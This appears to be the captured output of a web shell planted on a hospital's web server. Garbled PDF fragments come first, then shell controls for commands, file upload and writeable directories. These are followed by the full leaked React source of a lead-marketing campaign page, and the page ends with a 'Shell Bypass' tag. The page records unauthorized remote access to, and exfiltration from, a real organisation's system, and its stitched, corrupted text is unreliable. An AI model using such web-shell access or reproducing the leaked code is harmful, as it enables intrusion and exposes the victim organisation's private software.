%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/social/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/react/src/pages/social/SocialCampaigns.jsx
/* eslint-disable react-hooks/exhaustive-deps */
import React, { useEffect, useState, useRef } from "react";
import AuthService from "../../services/AuthService";
import Service from "../../services/Service";
import FileService from "../../services/FileService";
import AddedLeads from "./AddedLeads";
import { AntdSelect, Tinymce, GetTinymceContent } from "../../components";
import util from "../../util";
import {
  Result,
  Row,
  Col,
  Button,
  Input,
  Card,
  Table,
  Tabs,
  message,
  Modal,
  Drawer,
  Typography,
  Tag,
  Spin,
} from "antd";
import {
  ExclamationCircleOutlined,
  PlusOutlined,
  CloseOutlined,
  CheckCircleOutlined,
} from "@ant-design/icons";
const { Text } = Typography;
const $ = window.$;

function CampaignsList({ refOb, type, openEditForm, masters }) {
  const [loading, setLoading] = useState(false);
  const [result, setResult] = useState([]);
  const [paging, setPaging] = useState({ p: 1, ps: 10 });
  const [rowDtl, setRowDtl] = useState(null);
  const filterParamsRef = useRef({});
  const wh = $(window).height();

  const cols = [
    { title: "Campaign Name", dataIndex: "name" },
    { title: "Template", dataIndex: "template" },
    {
      title: "Sender",
      render: (row) => (
        <div>
          <div>{row.sender_name}</div>
          <div className="fs11 text-secondary">{row.sender_email}</div>
          {!!row.reply_to && (
            <div className="pt3 fs11 text-secondary">
              Reply To: <strong>{row.reply_to}</strong>
            </div>
          )}
        </div>
      ),
      hidden: type !== "Email",
    },
    {
      title: "No. of Leads",
      dataIndex: "leads_count",
      render: (leads_count, row) => (
        <div
          className="link w80 text-center"
          style={{ border: "1px solid #1890ff", borderRadius: "16px" }}
          onClick={() => {
            setRowDtl(row);
          }}
        >
          {leads_count}
        </div>
      ),
    },
    {
      title: "Status",
      dataIndex: "status",
      render: (status) => (
        <div>
          {status === "Draft" ? (
            <Text type="warning" strong>
              {status}
            </Text>
          ) : (
            <Text type="success" strong>
              <CheckCircleOutlined /> {status}
            </Text>
          )}
        </div>
      ),
    },
    {
      title: "Created",
      dataIndex: "created",
      width: 100,
      render: (dt) => <div>{util.getDate(dt, "DD MMM YYYY")}</div>,
    },
    {
      title: "",
      dataIndex: "id",
      width: "86px",
      render: (id, row) => (
        <div className="text-center">
          <Button.Group size="small">
            <Button onClick={() => openEditForm(row)}>
              <i className="fa fa-edit"></i>
            </Button>
            <Button
              onClick={() => deleteRecord(id)}
              disabled={row.status === "Published"}
            >
              <i className="fa fa-times-circle text-danger"></i>
            </Button>
          </Button.Group>
        </div>
      ),
      show: true,
    },
  ].filter((v) => !v.hidden);

  const closeDrawer = () => {
    setRowDtl(null);
    getList(filterParamsRef.current, paging.p);
  };

  const getList = (params = {}, p = 1) => {
    filterParamsRef.current = params;
    setLoading(true);
    Service.socialCampaigns({ ...params, type })
      .then(({ data }) => {
        data.result.forEach((v) => {
          v.key = v.id;
        });
        setResult(data.result);
        setPaging({ ...paging, p });
      })
      .catch((e) => {
        message.error(e.message);
      })
      .finally(() => {
        setLoading(false);
      });
  };

  const deleteRecord = (id) => {
    message.destroy();
    const fn = () => {
      setLoading(true);
      Service.deleteSocialCampaign(id)
        .then(({ data }) => {
          message.success(data.message || "Deleted");
          getList();
        })
        .catch((e) => {
          message.error(e.message);
        })
        .finally(() => {
          setLoading(false);
        });
    };
    Modal.confirm({
      title: `Do you want to delete this campaign?`,
      icon: <ExclamationCircleOutlined />,
      content: "",
      okText: "Yes",
      okType: "danger",
      cancelText: "No",
      onOk() {
        fn();
      },
      onCancel() {},
    });
  };

  refOb.current = {
    getList,
  };

  useEffect(() => {
    getList();
  }, []);

  return (
    <div className="def-pag-custom">
      <Table
        size="small"
        dataSource={result}
        columns={cols}
        loading={loading}
        scroll={{ y: wh - 220 }}
        pagination={{
          showTotal: (total, range) =>
            `${range[0]}-${range[1]} of ${total} items`,
          showSizeChanger: true,
          pageSize: paging.ps,
          current: paging.p,
          onChange: (p, ps) => {
            setPaging({ p, ps });
          },
        }}
      />

      <Drawer
        title={
          <div>
            Sent Leads To Campaign -{" "}
            <span className="text-secondary">{rowDtl?.name}</span>
          </div>
        }
        open={rowDtl !== null}
        placement="right"
        width="95%"
        destroyOnClose
        closable={false}
        onClose={closeDrawer}
        maskClosable={false}
        extra={
          <div className="cpointer" onClick={closeDrawer}>
            <CloseOutlined />
          </div>
        }
      >
        <AddedLeads
          type={type}
          campaignDtl={rowDtl}
          masters={masters}
          closeDrawer={closeDrawer}
        />
      </Drawer>
    </div>
  );
}

function CampaignFormModal({ refOb, type, templates = [], callback }) {
  const [showModal, setShowModal] = useState(false);
  const [saving, setSaving] = useState(false);
  const [loading, setLoading] = useState(false);
  const [fd, setFd] = useState({ test_emails: "" });

  const handleChange = (v, k) => {
    setFd({ ...fd, [k]: v });
  };

  const testCampaignWithTestEmails = async () => {
    const emails = fd.test_emails.split(",").map((email) => email.trim());
    setLoading(true);
    try {
      const {
        data: { result },
      } = await Service.leadsN({ emails, social: 1 });

      if (result && result.length > 0) {
        const testFd = { campaign_id: fd.id, leads: [], filters: {} };
        testFd.leads = result.map((v) => ({
          app_id: v.id,
          mob: "+91" + v.mob,
          email: v.email,
          name: v.name,
          state: v.state,
          program: v.program,
          plan: v.plan,
          system_id: v.application_no,
          lpage_id: v.lpage_id,
        }));

        await Service.testLeadsToSocialCampaign(testFd);
        message.success("Test email sent.");
      }
    } catch (e) {
      console.log(e);
    }
    setLoading(false);
  };

  const handleOk = (testing = "") => {
    message.destroy();
    fd.type = type;
    setSaving(true);
    Service.saveSocialCampaign(fd)
      .then(({ data }) => {
        message.success(data.message || "Saved");
        if (testing === "T") {
          fd.id = data.id;
          testCampaignWithTestEmails();
        } else {
          setShowModal(false);
        }
        callback();
      })
      .catch((e) => {
        message.error(e.message);
      })
      .finally(() => {
        setSaving(false);
      });
  };

  const handleCancel = () => {
    setShowModal(false);
  };

  refOb.current = {
    open: (dtl) => {
      const d = dtl ? { ...dtl } : { status: "Draft", test_emails: "" };
      setFd(d);
      setShowModal(true);
    },
  };

  return (
    <Modal
      title={`${fd.id ? "Edit" : "Create"} ${type} Campaign`}
      open={showModal}
      okText="Save"
      onOk={handleOk}
      okButtonProps={{ loading: saving }}
      onCancel={handleCancel}
      cancelText="Close"
      destroyOnClose
      maskClosable={false}
      width={1100}
      style={{ top: 20 }}
    >
      <Spin spinning={loading}>
        <Row gutter={[16, 16]}>
          <Col span="12">
            <label className="req">Campaign Name</label>
            <Input
              value={fd.name || ""}
              onChange={(e) => handleChange(e.target.value, "name")}
            />
          </Col>
          <Col span="12">
            <label className="req">Template</label>
            <AntdSelect
              showSearch
              allowClear
              sort
              placeholder="Status (All)"
              options={templates.map((v) => ({ id: v.id, name: v.name }))}
              value={fd.template_id}
              onChange={(v) => {
                handleChange(v, "template_id");
              }}
            />
          </Col>
          {type === "Email" && (
            <>
              <Col span="8">
                <label className="">Sender Name</label>
                <Input
                  value={fd.sender_name || ""}
                  onChange={(e) => handleChange(e.target.value, "sender_name")}
                  disabled={fd.status === "Published"}
                />
              </Col>
              <Col span="8">
                <label className="">Sender Email</label>
                <Input
                  value={fd.sender_email || ""}
                  onChange={(e) => handleChange(e.target.value, "sender_email")}
                  disabled={fd.status === "Published"}
                />
              </Col>
              <Col span="8">
                <label className="">Reply To</label>
                <Input
                  value={fd.reply_to || ""}
                  onChange={(e) => handleChange(e.target.value, "reply_to")}
                  disabled={fd.status === "Published"}
                />
              </Col>
              <Col span="24">
                <div className="d-flex">
                  <div style={{ width: "100%", padding: "0 10px 0 0" }}>
                    <Input
                      placeholder="Enter lead emails"
                      value={fd.test_emails}
                      onChange={(e) =>
                        handleChange(e.target.value, "test_emails")
                      }
                    />
                  </div>
                  <div>
                    <Button onClick={() => handleOk("T")}>Test</Button>
                  </div>
                </div>
              </Col>
            </>
          )}
        </Row>
      </Spin>
    </Modal>
  );
}

function Campaigns({ type, masters }) {
  const [loading, setLoading] = useState(false);
  const [templates, setTemplates] = useState([]);
  const [filterFd, setFilterFd] = useState({ k: "" });
  const listRef = useRef({});
  const formRef = useRef({});

  const getTemplates = () => {
    setLoading(true);
    Service.socialTemplates({ status: 1, type })
      .then(({ data }) => {
        setTemplates(data.result);
      })
      .catch((e) => {
        message.error(e.message);
      })
      .finally(() => {
        setLoading(false);
      });
  };

  useEffect(() => {
    getTemplates();
  }, []);

  return (
    <Spin spinning={loading}>
      <div className="d-flex" style={{ gap: "16px", flexDirection: "column" }}>
        <Card size="small" bodyStyle={{ padding: 0 }}>
          <div className="above-tbl-filter-pad">
            <Row align="middle" justify="space-between">
              <Row gutter={[5, 5]}>
                <Col>
                  <Input
                    placeholder="Enter text..."
                    allowClear
                    value={filterFd.k}
                    onChange={(e) =>
                      setFilterFd({ ...filterFd, k: e.target.value })
                    }
                  />
                </Col>
                <Col className="w150">
                  <AntdSelect
                    showSearch
                    allowClear
                    placeholder="Status (All)"
                    options={["Draft", "Published"]}
                    value={filterFd.status}
                    onChange={(v) => {
                      setFilterFd({ ...filterFd, status: v });
                    }}
                  />
                </Col>
                <Col>
                  <Button
                    type="primary"
                    onClick={() => listRef.current.getList(filterFd)}
                  >
                    Search
                  </Button>
                </Col>
              </Row>
              <div>
                <Button type="primary" onClick={() => formRef.current.open()}>
                  <PlusOutlined /> Create New
                </Button>
              </div>
            </Row>
          </div>
          <div className="bdr-top">
            <CampaignsList
              refOb={listRef}
              openEditForm={(dtl) => formRef.current.open(dtl)}
              type={type}
              masters={masters}
            />
          </div>
        </Card>
        <CampaignFormModal
          refOb={formRef}
          type={type}
          templates={templates}
          callback={() => listRef.current.getList()}
        />
      </div>
    </Spin>
  );
}

function TemplatesList({ refOb, type, openEditForm }) {
  const [loading, setLoading] = useState(false);
  const [result, setResult] = useState([]);
  const [paging, setPaging] = useState({ p: 1, ps: 10 });
  const filterParamsRef = useRef({});
  const wh = $(window).height();

  const cols = [
    {
      title: "Template Name",
      render: (row) => (
        <div className="d-flex align-items-center" style={{ gap: "16px" }}>
          <div className="uc bold600">{row.name}</div>
          {!!row.media_file_url && (
            <a
              href={row.media_file_url}
              target="_blank"
              rel="noreferrer"
              className="fs11"
              style={{ lineHeight: "11px" }}
            >
              VIEW MEDIA FILE
            </a>
          )}
        </div>
      ),
    },
    {
      title: "Status",
      dataIndex: "status",
      width: 150,
      render: (status) => (
        <div>
          {status * 1 === 1 ? (
            <Text type="success" strong>
              Active
            </Text>
          ) : (
            <Text type="danger" strong>
              Inactive
            </Text>
          )}
        </div>
      ),
    },
    {
      title: "",
      dataIndex: "id",
      width: "86px",
      render: (id, row) => (
        <div className="text-center">
          <Button.Group size="small">
            <Button onClick={() => openEditForm(row)}>
              <i className="fa fa-edit"></i>
            </Button>
            <Button onClick={() => deleteRecord(id)}>
              <i className="fa fa-times-circle text-danger"></i>
            </Button>
          </Button.Group>
        </div>
      ),
      show: true,
    },
  ];

  const getList = (params = {}, p = 1) => {
    filterParamsRef.current = params;
    setLoading(true);
    Service.socialTemplates({ ...params, type })
      .then(({ data }) => {
        data.result.forEach((v) => {
          v.key = v.id;
        });
        setResult(data.result);
        setPaging({ ...paging, p });
      })
      .catch((e) => {
        message.error(e.message);
      })
      .finally(() => {
        setLoading(false);
      });
  };

  const deleteRecord = (id) => {
    message.destroy();
    const fn = () => {
      setLoading(true);
      Service.deleteSocialTemplate(id)
        .then(({ data }) => {
          message.success(data.message || "Deleted");
          getList();
        })
        .catch((e) => {
          message.error(e.message);
        })
        .finally(() => {
          setLoading(false);
        });
    };
    Modal.confirm({
      title: `Do you want to delete this template?`,
      icon: <ExclamationCircleOutlined />,
      content: "",
      okText: "Yes",
      okType: "danger",
      cancelText: "No",
      onOk() {
        fn();
      },
      onCancel() {},
    });
  };

  refOb.current = {
    getList,
  };

  useEffect(() => {
    getList();
  }, []);

  return (
    <div className="def-pag-custom">
      <Table
        size="small"
        dataSource={result}
        columns={cols}
        loading={loading}
        scroll={{ y: wh - 220 }}
        pagination={{
          showTotal: (total, range) =>
            `${range[0]}-${range[1]} of ${total} items`,
          showSizeChanger: true,
          pageSize: paging.ps,
          current: paging.p,
          onChange: (p, ps) => {
            setPaging({ p, ps });
          },
        }}
      />
    </div>
  );
}

function TemplateFormModal({ refOb, type, callback }) {
  const [showModal, setShowModal] = useState(false);
  const [saving, setSaving] = useState(false);
  const [fd, setFd] = useState({});

  const tags = [
    "NAME",
    "EMAIL",
    "MOBILE_NO",
    "STATE",
    "LOGIN_URL",
    "SYSTEM_ID",
    "PROGRAM_NAME",
    "PLAN_NAME",
  ];

  const handleChange = (v, k) => {
    setFd({ ...fd, [k]: v });
  };

  const insertTag = (tag, ta, inputType) => {
    if (inputType === "subject" || type !== "Email") {
      const start = ta.selectionStart;
      const end = ta.selectionEnd;
      var finText =
        ta.value.substring(0, start) + tag + ta.value.substring(end);
      ta.value = finText;
      ta.focus({ preventScroll: true });
      ta.selectionEnd = start + tag.length;
    } else {
      window.tinymce.EditorManager.get("taBody").execCommand(
        "mceInsertContent",
        false,
        tag
      );
    }

    if (type === "Email") {
      setFd({
        ...fd,
        subject: document.getElementById("taSubject").value,
      });
    } else {
      setFd({
        ...fd,
        body: document.getElementById("taBody").value,
      });
    }
  };

  const handleOk = () => {
    message.destroy();
    fd.type = type;
    if (type === "Email") {
      fd.body = GetTinymceContent("taBody");
    }
    setSaving(true);
    Service.saveSocialTemplate(fd)
      .then(({ data }) => {
        message.success(data.message || "Saved");
        callback();
        setShowModal(false);
      })
      .catch((e) => {
        message.error(e.message);
      })
      .finally(() => {
        setSaving(false);
      });
  };

  const handleCancel = () => {
    setShowModal(false);
  };

  const uploadMedia = async (e) => {
    //const filename = e.target.value;
    util.showLoader();
    try {
      let rs = await FileService.upload(e.target.files[0], 600);
      setFd({
        ...fd,
        media_file_id: rs.data.file_id,
        media_file_url: rs.data.file_url,
        is_media_image: rs.data.is_image,
        is_media_pdf: rs.data.is_pdf,
      });
    } catch (e) {}
    e.target.value = "";
    util.hideLoader();
  };

  refOb.current = {
    open: (dtl) => {
      const d = dtl ? { ...dtl } : { status: "1" };
      setFd(d);
      setShowModal(true);
    },
  };

  return (
    <Modal
      title={`${fd.id ? "Edit" : "Create"} ${type} template`}
      open={showModal}
      okText="Save"
      onOk={handleOk}
      okButtonProps={{ loading: saving }}
      onCancel={handleCancel}
      cancelText="Close"
      destroyOnClose
      maskClosable={false}
      width={1100}
      style={{ top: 20 }}
    >
      <Row gutter={[16, 16]}>
        <Col span="24">
          <label className="req">Template Name</label>
          <Input
            value={fd.name || ""}
            onChange={(e) => handleChange(e.target.value, "name")}
          />
        </Col>
        {type === "Email" && (
          <Col span="24">
            <label className="req">Subject</label>
            <Row gutter={[8, 8]} className="mb10">
              {tags.map((tag) => (
                <Col key={tag}>
                  <Tag
                    color="purple"
                    className="cpointer noselect"
                    onClick={() =>
                      insertTag(
                        `%${tag}%`,
                        document.getElementById("taSubject"),
                        "subject"
                      )
                    }
                  >
                    {tag}
                  </Tag>
                </Col>
              ))}
            </Row>
            <Input
              id="taSubject"
              value={fd.subject || ""}
              onChange={(e) => handleChange(e.target.value, "subject")}
            />
          </Col>
        )}

        <Col span="24">
          <label className="req">Body</label>
          <Row gutter={[8, 8]} className="mb10">
            {tags.map((tag) => (
              <Col key={tag}>
                <Tag
                  color="purple"
                  className="cpointer noselect"
                  onClick={() =>
                    insertTag(
                      `%${tag}%`,
                      document.getElementById("taBody"),
                      "body"
                    )
                  }
                >
                  {tag}
                </Tag>
              </Col>
            ))}
          </Row>

          {type === "Email" ? (
            <Tinymce id="taBody" data={fd.body || ""} height="400" fullpage />
          ) : (
            <Input.TextArea
              id="taBody"
              rows="5"
              value={fd.body || ""}
              onChange={(e) => handleChange(e.target.value, "body")}
            />
          )}
        </Col>

        {type === "Whatsapp" && (
          <Col span="24">
            <label>Media File (Photo, Video or Pdf)</label>
            <div>
              <label className="ant-btn m0">
                <input
                  type="file"
                  className="d-none"
                  onChange={(e) => uploadMedia(e)}
                />
                <i className="fa fa-upload"></i> Upload Media
              </label>

              {!!fd.media_file_url && (
                <div
                  className="pt5 d-flex align-items-center"
                  style={{ gap: "10px" }}
                >
                  <a href={fd.media_file_url} target="_blank" rel="noreferrer">
                    VIEW MEDIA FILE
                  </a>
                  <div
                    className="cpointer text-danger"
                    onClick={() => {
                      setFd({
                        ...fd,
                        media_file_id: null,
                        media_file_url: "",
                      });
                    }}
                  >
                    REMOVE MEDIA
                  </div>
                </div>
              )}
            </div>
          </Col>
        )}

        <Col span="24">
          <label className="req">Status</label>
          <AntdSelect
            options={[
              { value: "1", label: "Active" },
              { value: "0", label: "Inactive" },
            ]}
            value={fd.status}
            onChange={(v) => {
              handleChange(v, "status");
            }}
          />
        </Col>
      </Row>
    </Modal>
  );
}

function Templates({ type }) {
  const [filterFd, setFilterFd] = useState({ k: "" });
  const listRef = useRef({});
  const formRef = useRef({});

  return (
    <div className="d-flex" style={{ gap: "16px", flexDirection: "column" }}>
      <Card size="small" bodyStyle={{ padding: 0 }}>
        <div className="above-tbl-filter-pad">
          <Row align="middle" justify="space-between">
            <Row gutter={[5, 5]}>
              <Col>
                <Input
                  placeholder="Enter text..."
                  allowClear
                  value={filterFd.k}
                  onChange={(e) =>
                    setFilterFd({ ...filterFd, k: e.target.value })
                  }
                />
              </Col>
              <Col className="w150">
                <AntdSelect
                  showSearch
                  allowClear
                  placeholder="Status (All)"
                  options={[
                    { value: "1", label: "Active" },
                    { value: "0", label: "Inactive" },
                  ]}
                  value={filterFd.status}
                  onChange={(v) => {
                    setFilterFd({ ...filterFd, status: v });
                  }}
                />
              </Col>
              <Col>
                <Button
                  type="primary"
                  onClick={() => listRef.current.getList(filterFd)}
                >
                  Search
                </Button>
              </Col>
            </Row>
            <div>
              <Button type="primary" onClick={() => formRef.current.open()}>
                <PlusOutlined /> Create New
              </Button>
            </div>
          </Row>
        </div>
        <div className="bdr-top">
          <TemplatesList
            refOb={listRef}
            openEditForm={(dtl) => formRef.current.open(dtl)}
            type={type}
          />
        </div>
      </Card>
      <TemplateFormModal
        refOb={formRef}
        type={type}
        callback={() => listRef.current.getList()}
      />
    </div>
  );
}

export default function SocialCampaigns() {
  const modules = AuthService.getModules();
  const [masters, setMasters] = useState({
    states: [],
    programs: [],
    utm_groups: [],
    superbot_dispositions: [],
    acs: [],
    disciplines: [],
    remarks: [],
    schools: [],
    lpages: [],
  });

  useEffect(() => {
    Service.mastersForLeads().then(({ data }) => setMasters(data.result));
  }, []);

  if (!modules.social_campaign) {
    return (
      <Result
        status="403"
        title="403"
        subTitle="Sorry, you are not authorized to access this page."
      />
    );
  }

  return (
    <div>
      <div className="page-heading">Social Campaigns</div>

      <Tabs
        destroyInactiveTabPane
        items={[
          {
            label: "Email Campaigns",
            key: "1",
            children: <Campaigns type="Email" masters={masters} />,
          },
          {
            label: "SMS Campaigns",
            key: "2",
            children: <Campaigns type="SMS" masters={masters} />,
          },
          {
            label: "Whatsapp Campaigns",
            key: "3",
            children: <Campaigns type="Whatsapp" masters={masters} />,
          },
          {
            label: "Email Templates",
            key: "4",
            children: <Templates type="Email" />,
          },
          {
            label: "SMS Templates",
            key: "5",
            children: <Templates type="SMS" />,
          },
          {
            label: "Whatsapp Templates",
            key: "6",
            children: <Templates type="Whatsapp" />,
          },
        ]}
      />
    </div>
  );
}

Kontol Shell Bypass